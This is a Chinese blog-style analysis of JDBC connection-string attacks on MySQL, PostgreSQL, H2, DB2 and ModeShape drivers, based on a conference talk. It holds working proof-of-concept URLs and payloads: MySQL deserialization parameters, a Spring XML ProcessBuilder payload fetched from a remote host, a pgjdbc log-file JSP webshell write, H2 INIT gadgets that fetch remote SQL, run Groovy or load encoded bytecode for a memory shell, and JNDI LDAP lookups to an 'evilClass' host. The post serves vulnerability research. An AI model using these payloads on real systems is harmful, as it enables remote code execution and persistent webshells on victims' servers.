很早就看到了 Make JDBC Attacks Brilliant Again
议题,一直想分析学习下,但是太懒。
"扩展参数" 就是本次导致安全漏洞的一个重要的部分。
Mysql JDBC 中包含一个危险的扩展参数: ”autoDeserialize“。这个参数配置为 true 时,JDBC 客户端将会自动反序列化服务端返回的数据,这就产生了 RCE。
此时如果攻击者作为 MYSQL 服务器的角色,给客户端返回了恶意的序列化数据,客户端就会自动反序列化触发恶意代码,造成漏洞。
简单说一下流程,主要是用到两类参数
自动检测与反序列化存在BLOB字段中的对象。 autoDeserialize
触发反序列化
queryInterceptors,一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query”之间”进行执行来影响结果。
detectCustomCollations
通过 ServerStatusDiffInterceptor
或 detectCustomCollations
触发查询语句 SHOW SESSION STATUS
、 SHOW COLLATION
等,并调用 resultSetToMap
处理数据库返回的结果,而当 autoDeserialize
为true时会对server中返回的结果进行反序列化,从而造成代码执行
Driver:
测试代码
public static void main(String[] args) {
try{
String driver = "com.mysql.jdbc.Driver";
String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=calc";//8.x使用
//String DB_URL = "jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc";//5.x使用
Class.forName(driver);
Connection conn = DriverManager.getConnection(DB_URL);
}catch (Exception e){
}
}
跟进到 mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrl#getConnectionUrlInstance
方法
首先在 mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#parseConnectionString
方法内解析jdbc串
返回的是 ConnectionUrlParser
对象,具体如下
继续往下看
在 mysql-connector-java-8.0.19.jar!/com/mysql/cj/conf/ConnectionUrlParser#processKeyValuePattern
循环解析Properties并添加到kvMap中,之后赋值给 ConnectionUrlParser.parsedProperties
字段
在 ConnectionImpl#setAutoCommit
会赋值sql语句 SET autocommit=1
在 ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
会去数据库执行查询 SHOW SESSION STATUS
,跟进 ResultSetUtil.resultSetToMap(toPopulate, rs);
其中调用getObject,逻辑如下,先判断传说的数据流,这里走的是 BLOB
不过 BIT
好像也会反序列化,序列化数据存储在 this.thisRow
中
第二个元素
最后就是java原生的反序列化了
堆栈
readObject:431, ObjectInputStream (java.io)
getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:21, Attack8x (org.su18.jdbc.attack.mysql.serverstatus)
简单看一下,调用点在 mysql-connector-java-5.1.19.jar!/com/mysql/jdbc/ConnectionImpl#buildCollationMapping
后面依旧是 resultSetToMap
中调用了 getObject
触发反序列化
堆栈
readObject:431, ObjectInputStream (java.io)
getObject:4984, ResultSetImpl (com.mysql.jdbc)
resultSetToMap:506, Util (com.mysql.jdbc)
buildCollationMapping:963, ConnectionImpl (com.mysql.jdbc)
initializePropsFromServer:3445, ConnectionImpl (com.mysql.jdbc)
connectOneTryOnly:2437, ConnectionImpl (com.mysql.jdbc)
createNewIO:2207, ConnectionImpl (com.mysql.jdbc)
<init>:797, ConnectionImpl (com.mysql.jdbc)
<init>:47, JDBC4Connection (com.mysql.jdbc)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:411, Util (com.mysql.jdbc)
getInstance:389, ConnectionImpl (com.mysql.jdbc)
connect:305, NonRegisteringDriver (com.mysql.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
getJDBCConnection:26, ConnectionUtil (org.su18.jdbc.attack.mysql.util)
main:22, Attack511x (org.su18.jdbc.attack.mysql.customcollations)
简单小结一下,各个小版本间可利用的payload可以参考下面fnmsd师傅的图
autoDeserialize=true 使JDBC 客户端将会自动反序列化服务端返回的数据,这个过程通过getObjec方法触发
但默认情况下不会自动触发getObject,所以需要一个触发点
目前公开的有2种
ServerStatusDiffInterceptor 用于显示在查询之间服务器状态的差异,preProcess()/postProcess() 调用 populateMapWithSessionStatusValues()方法。
populateMapWithSessionStatusValues() 使用已经建立的 connection 创建并执行了一个新的语句 SHOW SESSION STATUS,并调用 ResultSetUtil.resultSetToMap() 处理返回结果。
resultSetToMap 中调用了之前我们提到的 getObject() 方法,连成了一条调用链。
queryInterceptors ==> ServerStatusDiffInterceptor
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
同理PostgreSQL的property也存在安全问题CVE-2022-21724
在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassName
、 sslhostnameverifier
、 socketFactory
、 sslfactory
、 sslpasswordcallback
连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。
影响范围:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
这里主要记录两个点
网上分析文章一大堆,之前也调试过,这次就简单记录一些点。
有公开的一个poc,详情见
https://github.com/advisories/GHSA-v7wg-cpwc-24m4
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>open -a Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>
测试代码
public class AttackPgsqlsocketFactory {
public static void main(String[] args) throws Exception {
String URL = "jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8001/calc.xml";
DriverManager.registerDriver(new Driver());
Connection connection = DriverManager.getConnection(URL);
connection.close();
}
}
调试分析
首先在 Driver#parseURL
方法内是对jdbc字符串的处理,以indexof ?
作为分割符,拿到properties参数,后续将结果保存为 Properties
对象返回
后续关注对 socketFactory
这个Property的处理即可,跟进到 SocketFactoryFactory#getSocketFactory
方法。
先从前面解析jdbc串时 return的 Properties
对象中,获取 socketFactory
的类名,也就是 org.springframework.context.support.ClassPathXmlApplicationContext
之后调用 instantiate
对其实例化处理,也是漏洞触发点,其中包含了 PGProperty.SOCKET_FACTORY_ARG.get(info)
的步骤
这里是一个任意类实例化的点,可以调用只有1个入参,参数类型为String的有参构造进行实例化
堆栈
instantiate:45, ObjectFactory (org.postgresql.util)
getSocketFactory:39, SocketFactoryFactory (org.postgresql.core)
openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:18, AttackPgsqlsocketFactory (me.zh1z3ven.jdbc.attack)
关于Pgsql的Properties其实可以看 PGProperty.class
里面都有对应的解释说明
在审计时可以将对应环境的classpath中的class拿出来通过静态分析工具去跑符合条件的类,说不准可以跑出不用出网的gadget
poc
jdbc:postgresql://127.0.0.1:5432/testdb?ApplicationName=<%Runtime.getRuntime().exec("open -a calculator")};%>&loggerLevel=TRACE&loggerFile=../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/she11.jsp
driver=org.postgresql.Driver&url=jdbc:postgresql://172.16.105.1/test/?loggerLevel=DEBUG&loggerFile=../webapps/ROOT/static/555.jsp&<%! \uxxx\uxxx%><%\uxxx%> =&user=test&pwd=123123
这个点不算复杂的,是log功能写文件,只是提一下写shell需要注意的一个地方,文件内容在下图地方会有一个处理
这里构造数据包时可以通过 unicode编码shell内容=
来进行shell写入,通过本身代码逻辑,让 =
截断掉前面的shell内容绕过URLDecoder的处理。其他的方式应该也可以,只要让 =
第一次出现的位置位于shell内容后面或者shell内容中不存在会让 URLDecoder.decode
抛异常的字符即可。
例如
<%! \uxxx\uxxx%><%\uxxx%>
h2配置
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true
而h2本身的console界面也是可以通过jdbc连接串来进行jndi利用的
除此之外ppt中给出了3条gadget
分别有不同的限制,RUNSCRIPT需要出网加载sql,groovy需要本地存在groovy依赖,那么看下来js是限制条件比较少的一个
简单跟了下h2的处理逻辑
抛开初始化部分,在 h2-1.4.199.jar!/org/h2/engine/Engine#openSession
开始进入jdbc连接串的处理,预处理时主要是初始化jdbc相关的信息,最终保存在 ConnectionInfo
对象内,而走入 executeUpdate
方法逻辑内后开始真正执行一些sql语句,恶意的sql为漏洞的触发点,而Litch1师傅给出的三条gadget也是分别从sql入手的 RUNSCRIPT/CREATE ALIAS/CREATE TRIGGER
三条gadget入口点都是 INIT
这个properties,重点关注h2对其的处理即可。
poc
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
看到 h2-1.4.199.jar!/org/h2/command/dml/RunScriptCommand#update
方法,跟进 this.openInput()
该方法去读去远端文件,将文件内容赋值给 this.in
拿到sql语句后进入 FunctionAlias.newInstanceFromSource
开始处理
略过一些初始化,中间去判断了是否为groovy脚本等判断,之后进入 h2-1.4.199.jar!/org/h2/engine/FunctionAlias#JavaMethod
来构造一个 JavaMethod
对象,对象结构如下
之后跟进 RunScriptCommand#this.execute()
最终在 FunctionAlias$JavaMethod#getValue
执行代码,可以看出底层也是反射去调用执行的
堆栈如下
exec:347, Runtime (java.lang)
shellexec:6, EXEC (org.h2.dynamic)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getValue:460, FunctionAlias$JavaMethod (org.h2.engine)
getValue:40, JavaFunction (org.h2.expression.function)
query:64, Call (org.h2.command.dml)
execute:77, RunScriptCommand (org.h2.command.dml)
update:58, RunScriptCommand (org.h2.command.dml)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:23, AttackH2ByRunScript (org.su18.jdbc.attack.h2)
Poc
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("open -a Calculator")})def x'
通过ASTTest调用assert执行groovy代码
跟进到 h2-1.4.199.jar!/org/h2/util/SourceCompiler#getClass
方法,方法内逻辑很多,先只看groovy部分
其中通过sql语句是否 startsWith
为 //groovy
或 @groovy
来判断是否为groovy表达式
private static boolean isGroovySource(String var0) {
return var0.startsWith("//groovy") || var0.startsWith("@groovy");
}
而这里的 Compiler
为 GroovyCompiler
,后续调用 parseClass
来执行groovy表达式
堆栈
exec:347, Runtime (java.lang)
call:-1, java_lang_Runtime$exec$0
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
run:1, Script1
evaluate:427, GroovyShell (groovy.lang)
evaluate:461, GroovyShell (groovy.lang)
evaluate:436, GroovyShell (groovy.lang)
call:-1, GroovyShell$evaluate (groovy.lang)
defaultCall:47, CallSiteArray (org.codehaus.groovy.runtime.callsite)
call:125, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:139, AbstractCallSite (org.codehaus.groovy.runtime.callsite)
call:114, ASTTestTransformation$1 (org.codehaus.groovy.transform)
lambda$compile$15:640, CompilationUnit (org.codehaus.groovy.control)
accept:-1, 1026055550 (org.codehaus.groovy.control.CompilationUnit$$Lambda$25)
ifPresent:159, Optional (java.util)
compile:640, CompilationUnit (org.codehaus.groovy.control)
doParseClass:389, GroovyClassLoader (groovy.lang)
lambda$parseClass$3:332, GroovyClassLoader (groovy.lang)
provide:-1, 482082765 (groovy.lang.GroovyClassLoader$$Lambda$4)
compute:163, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
getAndPut:154, StampedCommonCache (org.codehaus.groovy.runtime.memoize)
parseClass:330, GroovyClassLoader (groovy.lang)
parseClass:314, GroovyClassLoader (groovy.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callMethod:536, Utils (org.h2.util)
callMethod:513, Utils (org.h2.util)
parseClass:509, SourceCompiler$GroovyCompiler (org.h2.util)
getClass:139, SourceCompiler (org.h2.util)
getMethod:234, SourceCompiler (org.h2.util)
loadFromSource:130, FunctionAlias (org.h2.engine)
load:118, FunctionAlias (org.h2.engine)
init:105, FunctionAlias (org.h2.engine)
newInstanceFromSource:97, FunctionAlias (org.h2.engine)
update:53, CreateFunctionAlias (org.h2.command.ddl)
update:133, CommandContainer (org.h2.command)
executeUpdate:267, Command (org.h2.command)
openSession:252, Engine (org.h2.engine)
createSessionAndValidate:178, Engine (org.h2.engine)
createSession:161, Engine (org.h2.engine)
createSession:31, Engine (org.h2.engine)
connectEmbeddedOrServer:336, SessionRemote (org.h2.engine)
<init>:169, JdbcConnection (org.h2.jdbc)
<init>:148, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:25, AttackH2ByGroovy (org.su18.jdbc.attack.h2)
poc
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'";
略过一些初始化的步骤,h2主要通过 ConnectionInfo
存储jdbc连接串等数据
跟进到 h2-1.4.199.jar!/org/h2/engine/Engine#openSession
,前面会将参数跟进 init
进行处理
会处理成如下格式
跟进 var22.executeUpdate(false)
h2-1.4.199.jar!/org/h2/command/Parser#parse
中会将jdbc串进行解析,
CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")'
变为
//javascript
java.lang.Runtime.getRuntime().exec("open -a Calculator.app")
sink点在:
TriggerObject#loadFromSource
方法,首先 SourceCompiler.isJavaxScriptSource(this.triggerSource)
以 //javascript
或 #ruby
来判断是js还是ruby语法
是js则之后调用eval执行js代码
尝试构造执行任意字节码的payload
H2对于init的格式化处理在 ConnectionInfo#readSettingsFromURL
中,部分逻辑如下
跟进 arraySplit
其中可以看到,对于一些特殊字符可以通过 \
来进行转义,因为h2在parse jdbc字符串的时候是通过 ;
分号进行分割properties的,而js中会经常用到 ;
所以这里可以通过 \;
来保证不错误解析我们的jdbc串。
而js语句需要拼接到sql中,sql是通过 '
单引号包裹的,这里我们还需要把js中的 '
改成 "
。
测试base64的会抛异常,用woodpecker JExpr表达式生成插件的 JS-BigInteger
可以正常食用,弹计算器payload如下:
String javascript = "//javascript\nvar classLoader = java.lang.Thread.currentThread().getContextClassLoader()\\;try{classLoader.loadClass(\"calc\").newInstance()\\;}catch (e){var clsString = classLoader.loadClass(\"java.lang.String\")\\;var bytecodeRaw = \"-5d0gv4aq1you8hawg2mpj9nktafb7tljy9bnbegiqsk808saabml7o3t292jac7i00g0728emolez6qs5k67no20hcir24qej6cwew6q09vwz5h9ydgv5lvhjuvabg6wg002x1wqucoc39whhg24i78rx95tfa7l4nxfk82v4vrhf8u47iss5as2z8nobqrr3os83kw253hd6yp7d6r69nukbn6eak5t561zempt8ic4i629qxwgg1yz98bvudk51jtwlji4rkpdsrqw63s3uq6skp4p6ghpd2gbw5ffb0n360re4s9e93l8jdu9hvr3slymqtt6w3dte1hrtz4jqmbwacxqvs2as2fojc6z6f9ramext15bqmqzccc8hweetz2e4ieeh13cjnl5lgec233xa40opzux1ullqtao1yedmj8y36taohdze4fgz8in9d1wm5avr4813tyg619hsga52or3n1n0i7ty6ly03777911d8g6dm2uzdb027awrhk9ph1mr5zri0j1jy6tzc6zy9y0h1o6qcoirl27fygukbdlqmu919tau2nd8kpt8gjaa70j4pduw3f74kplqujyh00bg2djvmaqv8by6htrm8vp4wsi3ktnlhddi4mxqfj34uwo0uozu9asg3sh9gevokmehh81gyxogy84eo0sd6p4rkhmx1wyqktm18u0iswb16bh272kl7f4w7zyhwnm48pwxgvb6m9h2kso2rnjukhc7mbe2fa9j2u3gj0dir7xferg1mxq26hcm2ihpkrhksfm535p9nimslh6q0ijn0ogwdzk91vf8b08n7ai4y13subxd4zrtvgq5e3q8mmlcyfulm6\"\\;var bytecode = new java.math.BigInteger(bytecodeRaw,36).toByteArray()\\;var clsClassLoader = classLoader.loadClass(\"java.lang.ClassLoader\")\\;var clsByteArray = \"a\".getBytes().getClass()\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt)\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length)\\;clazz.newInstance()\\;}";
burp发包时注意 \n
是回车,而不要直接在参数处输入字符 \n
需要用 %0a
,其他字符也url编码即可,且同一个类貌似只能加载一次。
注入内存马的包可能不会回显header,正常会报 cannot be cast to org.h2.api.Trigger
异常,这些属于正常情况不用管。
poc
jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;
该property可以导致jndi
在此不搬运了,ppt中给出了详细的流程和sink点
通过jcr api可以触发jndi,同DB2,也是个jndi的利用
jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass
derby因为没怎么遇到过,SQLite利用成本高,(主要是我懒)在此不做分析
《Make JDBC Attacks Brilliant Again》议题
厦门茉莉花的花语是:天天开心
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